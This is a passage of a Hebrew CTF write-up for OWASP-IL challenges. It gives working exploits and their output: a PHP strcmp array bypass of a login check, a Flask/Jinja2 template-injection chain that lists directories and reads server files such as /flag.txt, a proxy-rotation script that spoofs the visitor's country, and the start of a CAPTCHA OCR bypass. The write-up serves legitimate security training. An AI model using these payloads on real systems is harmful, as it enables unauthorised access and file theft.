href="http://challenges.owaspil.ctf.today:8082/">http://challenges.owaspil.ctf.today:8082/</a></b></span></span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>לאתגר צורף הקוד של </span><span
lang=EN-US dir=LTR>login.php</span><span dir=RTL></span><span lang=HE
style='font-family:"Arial",sans-serif'><span dir=RTL></span>.</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'> </span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>פתרון:</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>החלק היחיד שמעניין
בקוד הוא הקטע הבא:</span></p>
```php
<?php
require_once('config.php');
function check_param($param) {
return (isset($_POST[$param]) && !empty($_POST[$param]));
}
if (check_param('username') && strcmp($AUTH_USER, $_POST['username']) == 0 && check_param('md5') && strcmp($AUTH_MD5, $_POST['md5']) == 0) {
$_SESSION['connected'] = 1;
header('Location: /index.php');
exit();
}
?>
```
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>במבט ראשון, אנחנו
צריכים לספק שם משתמש וסיסמא (האתר מחשב </span><span lang=EN-US dir=LTR>MD5</span><span
dir=RTL></span><span lang=HE style='font-family:"Arial",sans-serif'><span
dir=RTL></span> של הסיסמא בצד הלקוח וזה מה שנשלח בטופס הכניסה). קוד השרת משווה
את הקלט אל הערכים שהוגדרו מראש (הם שמורים ב-</span><span lang=EN-US dir=LTR>config.php</span><span
dir=RTL></span><span lang=HE style='font-family:"Arial",sans-serif'><span
dir=RTL></span> ואין לנו גישה אליהם), ורק אם הם שווים ניתן להתחבר לאתר.</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>התיעוד של </span><span
lang=EN-US dir=LTR>PHP</span><span dir=RTL></span><span lang=HE
style='font-family:"Arial",sans-serif'><span dir=RTL></span> תמיד היה דוגמא
לתיעוד מוצלח בעיני, הוא כולל המון דוגמאות קוד רשמיות, וכל דף מסתיים עם הערות
מועילות של גולשים על דברים שכדאי לשים לב אליהם, מקרי קצה, דוגמאות קוד נוספות
ושאר ירקות. </span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>מכיוון שלא היה לי
כיוון אחר, נכנסתי ל</span><span class=MsoHyperlink><span lang=EN-US><a
href="http://php.net/manual/en/function.strcmp.php"><span lang=HE
style='font-family:"Arial",sans-serif'>תיעוד של </span><span dir=LTR>strcmp</span></a></span></span><span
dir=RTL></span><span lang=HE style='font-family:"Arial",sans-serif'><span
dir=RTL></span> ומצאתי את ההערה הבאה מועילה במיוחד:</span></p>
```
<?php
if (strcmp($_POST['password'], 'sekret') == 0) {
echo "Welcome, authorized user!\n";
} else {
echo "Go away, imposter.\n";
}
?>
$ curl -d password=sekret http://andersk.scripts.mit.edu/strcmp.php
Welcome, authorized user!
$ curl -d password=wrong http://andersk.scripts.mit.edu/strcmp.php
Go away, imposter.
$ curl -d password[]=wrong http://andersk.scripts.mit.edu/strcmp.php
Welcome, authorized user!
```
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'> </span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'> </span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>נראה מתאים.</span></p>
```python
import requests
r = requests.post('http://challenges.owaspil.ctf.today:8082/login.php', data = {"username[]": "a", "md5[]": "a"})
print (r.text)
```
<p class=MsoNormal style='margin-bottom:0cm;margin-bottom:.0001pt'><span
lang=EN-US style='font-family:"Courier New"'> </span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>והתוצאה:</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><b><span lang=EN-US dir=LTR>OWASP-IL{PHP_1s_S0_B4d_Th4t_1t_Hurts}</span></b></p>
<b><span lang=EN-US style='font-size:11.0pt;line-height:107%;font-family:"Calibri",sans-serif'><br
clear=all style='page-break-before:always'>
</span></b>
<p class=MsoNormal><b><span lang=EN-US> </span></b></p>
<h2 dir=RTL style='text-align:right;direction:rtl;unicode-bidi:embed'><span
lang=HE style='font-family:"Times New Roman",serif'>אתגר 11 - </span><span
lang=EN-US dir=LTR>Recommendation Generator</span><span dir=RTL></span><span
lang=HE style='font-family:"Times New Roman",serif'><span dir=RTL></span> (רמת
קושי בינונית, 500 נקודות)</span></h2>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'> </span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>הוראות האתגר:</span></p>
<p><span lang=en-IL>Hi Guys, I need your help!<br>
Someone hacked my recommendation system and i can't found the security breach.<br>
Can you demonstrate the hacker's steps in order to take over the server and
send me the flag?</span></p>
<p><span lang=en-IL>URL: <span class=MsoHyperlink><b><a
href="http://challenges.owaspil.ctf.today:8087/">http://challenges.owaspil.ctf.today:8087/</a></b></span></span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'> </span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>פתרון:</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>כניסה לאתר מציגה את
הדף הבא:</span></p>
<p class=MsoNormal dir=RTL align=center style='text-align:center;direction:rtl;unicode-bidi:
embed'><span lang=en-IL dir=LTR><img border=0 width=602 height=235
id="Picture 31" src="images/image032.jpg"></span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>הכנסה של פרטים
מייצרת המלצה אקראית:</span></p>
<p class=MsoNormal dir=RTL align=center style='text-align:center;direction:rtl;unicode-bidi:
embed'><span lang=en-IL dir=LTR><img border=0 width=601 height=250
id="Picture 32" src="images/image033.jpg"></span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=EN-US dir=LTR> </span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=EN-US dir=LTR> </span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=EN-US dir=LTR> </span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>הדבר הראשון ששמתי
לב אליו הוא שהאתר פגיע ל-</span><span lang=EN-US dir=LTR>XSS</span><span
dir=RTL></span><span lang=HE style='font-family:"Arial",sans-serif'><span
dir=RTL></span>:</span></p>
<p class=MsoNormal dir=RTL align=center style='text-align:center;direction:rtl;unicode-bidi:
embed'><span lang=en-IL dir=LTR><img border=0 width=602 height=184
id="Picture 33" src="images/image034.jpg"></span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>אולם, הכיוון הזה לא
הוביל לשום מקום.</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>המשכתי לחפש, ואחד מהדברים
שקפצו לי לעין היה השרת של האתר:</span></p>
<p class=MsoNormal align=center dir=RTL style='text-align:center;direction:
rtl;unicode-bidi:embed'><span lang=en-IL dir=LTR><img border=0 width=262
height=123 id="Picture 34" src="images/image035.png"></span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>חיפשתי </span><span
lang=EN-US dir=LTR>gunicorn </span><span dir=RTL></span><span lang=HE
style='font-family:"Arial",sans-serif'><span dir=RTL></span> ומצאתי ש-</span><span
lang=en-IL dir=LTR>The Gunicorn "Green Unicorn" is a Python Web
Server Gateway Interface HTTP server</span><span dir=RTL></span><span lang=HE
style='font-family:"Arial",sans-serif'><span dir=RTL></span>.</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>אם כך, האתר כנראה
נכתב בפייתון, ורוב הסיכויים שהוא משתמש ב-</span><span lang=EN-US dir=LTR>Framework</span><span
dir=RTL></span><span lang=HE style='font-family:"Arial",sans-serif'><span
dir=RTL></span> הפופולרי </span><span lang=EN-US dir=LTR>Flask</span><span
dir=RTL></span><span lang=HE style='font-family:"Arial",sans-serif'><span
dir=RTL></span>.</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>מצאתי את ה</span><span
class=MsoHyperlink><span lang=EN-US><a
href="https://nvisium.com/resources/blog/2015/12/07/injecting-flask.html"><span
lang=HE style='font-family:"Arial",sans-serif'>דף הזה</span></a></span></span><span
lang=HE style='font-family:"Arial",sans-serif'> אודות הזרקת קוד ל-</span><span
lang=EN-US dir=LTR>Flask Templates</span><span dir=RTL></span><span lang=HE
style='font-family:"Arial",sans-serif'><span dir=RTL></span>, והתחלתי לנסות.</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>הטבלה הבאה מציגה את
הקלט והפלט של גישה לכתובת הבאה:</span></p>
<p class=MsoNormal><span lang=EN-US>http://challenges.owaspil.ctf.today:8087/get_recommendation?name=a&recommender=<b><input></b></span></p>
<table class=MsoTableGrid border=0 cellspacing=0 cellpadding=0 width="100%"
style='border-collapse:collapse;border:none;width:100%;' dir=ltr>
<tr>
<td width="50%" valign=top style='border:solid windowtext 1.0pt;
padding:0cm 5.4pt 0cm 5.4pt'>
<p class=MsoNormal style='margin-bottom:0cm;margin-bottom:.0001pt;line-height:
normal'><span dir=LTR></span><b><span lang=EN-US><span dir=LTR></span><input></span></b></p>
</td>
<td width="50%" valign=top style='border:solid windowtext 1.0pt;
border-left:none;padding:0cm 5.4pt 0cm 5.4pt'>
<p class=MsoNormal style='margin-bottom:0cm;margin-bottom:.0001pt;line-height:
normal'><span dir=LTR></span><b><span lang=EN-US><span dir=LTR></span><output></span></b></p>
</td>
</tr>
<tr>
<td width="50%" valign=top style='border:solid windowtext 1.0pt;
border-top:none;padding:0cm 5.4pt 0cm 5.4pt'>
<p class=MsoNormal style='margin-bottom:0cm;margin-bottom:.0001pt;line-height:
normal'><span lang=EN-US>{{''.__class__}}</span></p>
</td>
<td width="50%" valign=top style='border-top:none;border-left:
none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
padding:0cm 5.4pt 0cm 5.4pt'>
<p class=MsoNormal style='margin-bottom:0cm;margin-bottom:.0001pt;line-height:
normal'><span dir=LTR></span><cite><span lang=en-IL style='font-family:"Calibri",sans-serif'><span
dir=LTR></span><type 'str'></span></cite></p>
</td>
</tr>
<tr>
<td width="50%" valign=top style='border:solid windowtext 1.0pt;
border-top:none;padding:0cm 5.4pt 0cm 5.4pt'>
<p class=MsoNormal style='margin-bottom:0cm;margin-bottom:.0001pt;line-height:
normal'><span lang=EN-US>{{''.__class__.mro()}}</span></p>
</td>
<td width="50%" valign=top style='border-top:none;border-left:
none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
padding:0cm 5.4pt 0cm 5.4pt'>
<p class=MsoNormal style='margin-bottom:0cm;margin-bottom:.0001pt;line-height:
normal'><span dir=LTR></span><cite><span lang=en-IL style='font-family:"Calibri",sans-serif'><span
dir=LTR></span>[<type 'str'>, <type 'basestring'>, <type
'object'>]</span></cite></p>
</td>
</tr>
<tr>
<td width="50%" valign=top style='border:solid windowtext 1.0pt;
border-top:none;padding:0cm 5.4pt 0cm 5.4pt'>
<p class=MsoNormal style='margin-bottom:0cm;margin-bottom:.0001pt;line-height:
normal'><span lang=EN-US>{{''.__class__.mro()[2].__subclasses__()}}</span></p>
</td>
<td width="50%" valign=top style='border-top:none;border-left:
none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
padding:0cm 5.4pt 0cm 5.4pt'>
<p class=MsoNormal style='margin-bottom:0cm;margin-bottom:.0001pt;line-height:
normal'><cite><span lang=en-IL style='font-family:"Calibri",sans-serif'>[<type
'type'>, <type 'weakref'>, <type 'weakcallableproxy'>,
<type 'weakproxy'>, <type 'int'>, </span></cite><cite><span
lang=EN-US style='font-family:"Calibri",sans-serif'> …]</span></cite></p>
</td>
</tr>
<tr>
<td width="50%" valign=top style='border:solid windowtext 1.0pt;
border-top:none;padding:0cm 5.4pt 0cm 5.4pt'>
<p class=MsoNormal style='margin-bottom:0cm;margin-bottom:.0001pt;line-height:
normal'><span lang=EN-US>{{''.__class__.mro()[2].__subclasses__()[59]}}</span></p>
</td>
<td width="50%" valign=top style='border-top:none;border-left:
none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
padding:0cm 5.4pt 0cm 5.4pt'>
<p class=MsoNormal style='margin-bottom:0cm;margin-bottom:.0001pt;line-height:
normal'><cite><span lang=en-IL style='font-family:"Calibri",sans-serif'><class
'warnings.catch_warnings'></span></cite></p>
</td>
</tr>
<tr>
<td width="50%" valign=top style='border:solid windowtext 1.0pt;
border-top:none;padding:0cm 5.4pt 0cm 5.4pt'>
<p class=MsoNormal style='margin-bottom:0cm;margin-bottom:.0001pt;line-height:
normal'><span lang=EN-US>{{''.__class__.mro()[2].__subclasses__()[59]<br>
.__init__.func_globals['linecache'].__dict__['os']}}</span></p>
</td>
<td width="50%" valign=top style='border-top:none;border-left:
none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
padding:0cm 5.4pt 0cm 5.4pt'>
<p class=MsoNormal style='margin-bottom:0cm;margin-bottom:.0001pt;line-height:
normal'><cite><span lang=en-IL style='font-family:"Calibri",sans-serif'><module
'os' from '/usr/local/lib/python2.7/os.pyc'></span></cite></p>
</td>
</tr>
</table>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'> </span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>מפה אפשר להריץ כבר
פקודות של </span><span lang=EN-US dir=LTR>OS</span><span dir=RTL></span><span
lang=HE style='font-family:"Arial",sans-serif'><span dir=RTL></span>, למשל:</span></p>
```python
{{''.__class__.mro()[2].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['os'].listdir('.')}}
```
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>מציג:</span></p>
```
['templates', 'app.py', 'requirements.txt']
```
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>באופן דומה (עם נתיב
קצת שונה), הרצת:</span></p>
```python
{{''.__class__.mro()[2].__subclasses__()[59]()._module.__builtins__['open']('app.py').read()}}
```
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>תפלוט את התוכן של </span><span
lang=EN-US dir=LTR>app.py</span><span dir=RTL></span><span lang=HE
style='font-family:"Arial",sans-serif'><span dir=RTL></span>.</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>מפה צריך פשוט למצוא
את הקובץ המתאים:</span></p>
```python
req = "{{"
req += "''"
req += ".__class__.mro()[2]"
req += ".__subclasses__()[59]"
req += ".__init__"
req += ".func_globals['linecache']"
req += ".__dict__['os']"
req += ".listdir('/')"
req += "}}"
r = requests.get("http://challenges.owaspil.ctf.today:8087/get_recommendation?name=a&recommender=" + req)
print (r.text)
#Output:
"""["srv", "tmp", "sbin", "bin", "var", "root", "run", "sys", "etc", "opt", "mnt", "boot", "lib", "dev", "media", "proc", "usr", "home", "lib64", ".dockerenv", "flag.txt", "app"]"""
req = "{{"
req += "''"
req += ".__class__.mro()[2]"
req += ".__subclasses__()[59]()"
req += "._module"
req += ".__builtins__['open']('/flag.txt')"
req += ".read()"
req += "}}"
r = requests.get("http://challenges.owaspil.ctf.today:8087/get_recommendation?name=a&recommender=" + req)
print (r.text)
```
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=EN-US dir=LTR> </span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>הדגל:</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><b><span lang=EN-US dir=LTR>OWASP-IL{IAmL00kingF0rT3mpl4tes}</span></b></p>
<b><span lang=HE dir=RTL style='font-size:11.0pt;line-height:107%;font-family:
"Arial",sans-serif'><br clear=all style='page-break-before:always'>
</span></b>
<p class=MsoNormal><b><span lang=HE dir=RTL style='font-family:"Arial",sans-serif'> </span></b></p>
<h2 dir=RTL style='text-align:right;direction:rtl;unicode-bidi:embed'><span
lang=HE style='font-family:"Times New Roman",serif'>אתגר 12 - </span><span
lang=EN-US dir=LTR>Around the world – REAL</span><span dir=RTL></span><span
lang=HE style='font-family:"Times New Roman",serif'><span dir=RTL></span> (רמת
קושי בינונית, 500 נקודות)</span></h2>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'> </span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>הוראות האתגר:</span></p>
<p><span lang=en-IL>Hi you! Do you think that you traveled the world? Your
mission is to enter to our site with IP that belongs to country that we request
you</span></p>
<p><span lang=en-IL>Can you do that ? use with REAL IP :)</span></p>
<p><span lang=en-IL>URL: <span class=MsoHyperlink><b><a
href="http://challenges.owaspil.ctf.today:8095/">http://challenges.owaspil.ctf.today:8095/</a></b></span></span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'> </span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>פתרון:</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>כמו קודם, כניסה
לאתר מציגה טקסט בתבנית הבאה:</span></p>
<p class=MsoNormal><span lang=en-IL>In order to get the flag you must to serve
from Brazil (You served from Israel)| Counter: 0/16</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>המימוש מאוד דומה
לתרגיל המקורי:</span></p>
```python
import requests, re
ip_table = {}
with open("proxy.txt") as f:
for line in f:
line = line.rstrip()
ip, country = line.split("\t")
if country.lower() not in ip_table:
ip_table[country.lower()] = []
ip_table[country.lower()].append(ip)
s = requests.Session()
country_regex = re.compile("In order to get the flag you must to serve from ([^(]+) \(")
proxies = None
text = ""
def get_page(proxies):
r = s.get('http://challenges.owaspil.ctf.today:8095/', proxies=proxies)
print (r.text)
return r.text
text = get_page(None)
while "OWASP" not in text:
match = country_regex.search(text)
if match:
country = match.group(1).lower()
for ip in ip_table[country]:
proxies = {'http': ip}
print (proxies)
try:
text = get_page(proxies)
if "you must to serve from {}".format(country) not in text.lower():
break
except:
pass
else:
print ("No IP was successful for {}".format(country))
break
else:
print ("No match for '{}'".format(text))
break
print (text)
```
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'> </span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>ההבדלים העיקריים
הם:</span></p>
<p class=MsoListParagraphCxSpFirst dir=RTL style='margin-top:0cm;margin-right:
36.0pt;margin-bottom:8.0pt;margin-left:0cm;text-align:right;text-indent:-18.0pt;
direction:rtl;unicode-bidi:embed'><span lang=en-IL style='font-family:Symbol'>·<span
style='font:7.0pt "Times New Roman"'>
</span></span><span dir=RTL></span><span lang=HE style='font-family:"Arial",sans-serif'>במקום
להשתמש ב-</span><span lang=en-IL dir=LTR>XFF</span><span dir=RTL></span><span
lang=HE style='font-family:"Arial",sans-serif'><span dir=RTL></span>, אנחנו
משתמשים בפרמטר של ספריית </span><span class=MsoHyperlink><span lang=EN-US><a
href="http://docs.python-requests.org/en/master/"><span dir=LTR>requests</span></a></span></span><span
dir=RTL></span><span lang=HE style='font-family:"Arial",sans-serif'><span
dir=RTL></span> שמאפשר להתחבר לכתובת מסויימת באמצעות פרוקסי</span></p>
<p class=MsoListParagraphCxSpLast dir=RTL style='margin-top:0cm;margin-right:
36.0pt;margin-bottom:8.0pt;margin-left:0cm;text-align:right;text-indent:-18.0pt;
direction:rtl;unicode-bidi:embed'><span lang=en-IL style='font-family:Symbol'>·<span
style='font:7.0pt "Times New Roman"'>
</span></span><span dir=RTL></span><span lang=HE style='font-family:"Arial",sans-serif'>עלינו
לנסות מספר כתובות </span><span lang=en-IL dir=LTR>IP</span><span dir=RTL></span><span
lang=HE style='font-family:"Arial",sans-serif'><span dir=RTL></span> עד שהחיבור
יצליח, מכיוון ששרתי פרוקסי חינמיים לא תמיד זמינים</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>הדגל:</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><b><span lang=en-IL dir=LTR>OWASP-IL{W0rld_T0r_0ops_S0rry_T0ur!}</span></b></p>
<b><span lang=HE dir=RTL style='font-size:11.0pt;line-height:107%;font-family:
"Arial",sans-serif'><br clear=all style='page-break-before:always'>
</span></b>
<p class=MsoNormal><b><span lang=HE dir=RTL style='font-family:"Arial",sans-serif'> </span></b></p>
<h2 dir=RTL style='text-align:right;direction:rtl;unicode-bidi:embed'><span
lang=HE style='font-family:"Times New Roman",serif'>אתגר 13 - </span><span
lang=en-IL dir=LTR>Break The Captcha – Nightmare</span><span dir=RTL></span><span
lang=HE style='font-family:"Times New Roman",serif'><span dir=RTL></span> (רמת
קושי קשה, 700 נקודות)</span></h2>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'> </span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>הוראות האתגר:</span></p>
<p><span lang=en-IL>Following the last attack on my website i increased the
difficulty of my human security.<br>
Do you think that you can bypass it with code and flood my form?</span></p>
<p><span lang=en-IL>URL: <span class=MsoHyperlink><b><a
href="http://challenges.owaspil.ctf.today:8085/">http://challenges.owaspil.ctf.today:8085/</a></b></span></span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>פתרון:</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>האתגר החדש נראה כך:</span></p>
<p class=MsoNormal align=center dir=RTL style='text-align:center;direction:
rtl;unicode-bidi:embed'><span lang=en-IL dir=LTR><img border=0 width=552
height=283 id="Picture 35" src="images/image036.png"></span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>אז מה התחדש?</span></p>
<p class=MsoListParagraphCxSpFirst dir=RTL style='margin-top:0cm;margin-right:
36.0pt;margin-bottom:8.0pt;margin-left:0cm;text-align:right;text-indent:-18.0pt;
direction:rtl;unicode-bidi:embed'><span lang=en-IL style='font-family:Symbol'>·<span
style='font:7.0pt "Times New Roman"'>
</span></span><span dir=RTL></span><span lang=HE style='font-family:"Arial",sans-serif'>נוסף
תרגיל מתמטי אשר מופיע כטקסט (קל לפתור אותו)</span></p>
<p class=MsoListParagraphCxSpLast dir=RTL style='margin-top:0cm;margin-right:
36.0pt;margin-bottom:8.0pt;margin-left:0cm;text-align:right;text-indent:-18.0pt;
direction:rtl;unicode-bidi:embed'><span lang=en-IL style='font-family:Symbol'>·<span
style='font:7.0pt "Times New Roman"'>
</span></span><span dir=RTL></span><span lang=HE style='font-family:"Arial",sans-serif'>התמונה
כוללת רעש אקראי (מקשה על ה-</span><span lang=en-IL dir=LTR>OCR</span><span
dir=RTL></span><span lang=HE style='font-family:"Arial",sans-serif'><span
dir=RTL></span>)</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>נתמקד בינתיים בתמונה,
מכיוון שהפתרון הנדרש עבור הטקסט הוא קל ביותר.</span></p>
<p class=MsoNormal align=center dir=RTL style='text-align:center;direction:
rtl;unicode-bidi:embed'><span lang=en-IL dir=LTR><img border=0 width=323
height=97 id="Picture 36" src="images/image037.jpg"></span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>מהתבוננות בתמונה
הזו (ובמדגם מייצג של תמונות נוספות), אפשר לשים לב למאפיינים הבאים:</span></p>
<p class=MsoListParagraphCxSpFirst dir=RTL style='margin-top:0cm;margin-right:
36.0pt;margin-bottom:8.0pt;margin-left:0cm;text-align:right;text-indent:-18.0pt;
direction:rtl;unicode-bidi:embed'><span lang=EN-US style='font-family:Symbol'>·<span
style='font:7.0pt "Times New Roman"'>
</span></span><span dir=RTL></span><span lang=HE style='font-family:"Arial",sans-serif'>הטקסט
הוא תמיד לבן</span></p>
<p class=MsoListParagraphCxSpMiddle dir=RTL style='margin-top:0cm;margin-right:
36.0pt;margin-bottom:8.0pt;margin-left:0cm;text-align:right;text-indent:-18.0pt;
direction:rtl;unicode-bidi:embed'><span lang=EN-US style='font-family:Symbol'>·<span
style='font:7.0pt "Times New Roman"'>
</span></span><span dir=RTL></span><span lang=HE style='font-family:"Arial",sans-serif'>הרקע
הוא תמיד צבעוני, וכן ה"נקודות" ברקע</span></p>
<p class=MsoListParagraphCxSpLast dir=RTL style='margin-top:0cm;margin-right:
36.0pt;margin-bottom:8.0pt;margin-left:0cm;text-align:right;text-indent:-18.0pt;
direction:rtl;unicode-bidi:embed'><span dir=RTL></span><span lang=EN-US
style='font-family:Symbol'>·<span style='font:7.0pt "Times New Roman"'>
</span></span><span dir=RTL></span><span dir=RTL></span><span lang=HE
style='font-family:"Arial",sans-serif'><span dir=RTL></span>"רעש"
נוסף הוא הקווים שלעיתים חוצים את הטקסט במקומות אקראיים, והוא תמיד שחור</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'> </span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'> </span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'> </span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>ה-</span><span
lang=EN-US dir=LTR>OCR</span><span dir=RTL></span><span lang=HE
style='font-family:"Arial",sans-serif'><span dir=RTL></span> מעדיף טקסט שחור על
רקע לבן, ונראה שלא מאוד קשה לייצר תמונה כזו מהתמונה המקורית:</span></p>
<p class=MsoListParagraphCxSpFirst dir=RTL style='margin-top:0cm;margin-right:
36.0pt;margin-bottom:8.0pt;margin-left:0cm;text-align:right;text-indent:-18.0pt;
direction:rtl;unicode-bidi:embed'><span lang=EN-US>1.<span style='font:7.0pt "Times New Roman"'>
</span></span><span dir=RTL></span><span lang=HE style='font-family:"Arial",sans-serif'>עוברים
על התמונה, פיסקל אחרי פיקסל</span></p>
<p class=MsoListParagraphCxSpMiddle dir=RTL style='margin-top:0cm;margin-right:
36.0pt;margin-bottom:8.0pt;margin-left:0cm;text-align:right;text-indent:-18.0pt;
direction:rtl;unicode-bidi:embed'><span lang=EN-US>2.<span style='font:7.0pt "Times New Roman"'>
</span></span><span dir=RTL></span><span lang=HE style='font-family:"Arial",sans-serif'>פיסקל
לבן הופכים לשחור</span></p>
<p class=MsoListParagraphCxSpLast dir=RTL style='margin-top:0cm;margin-right:
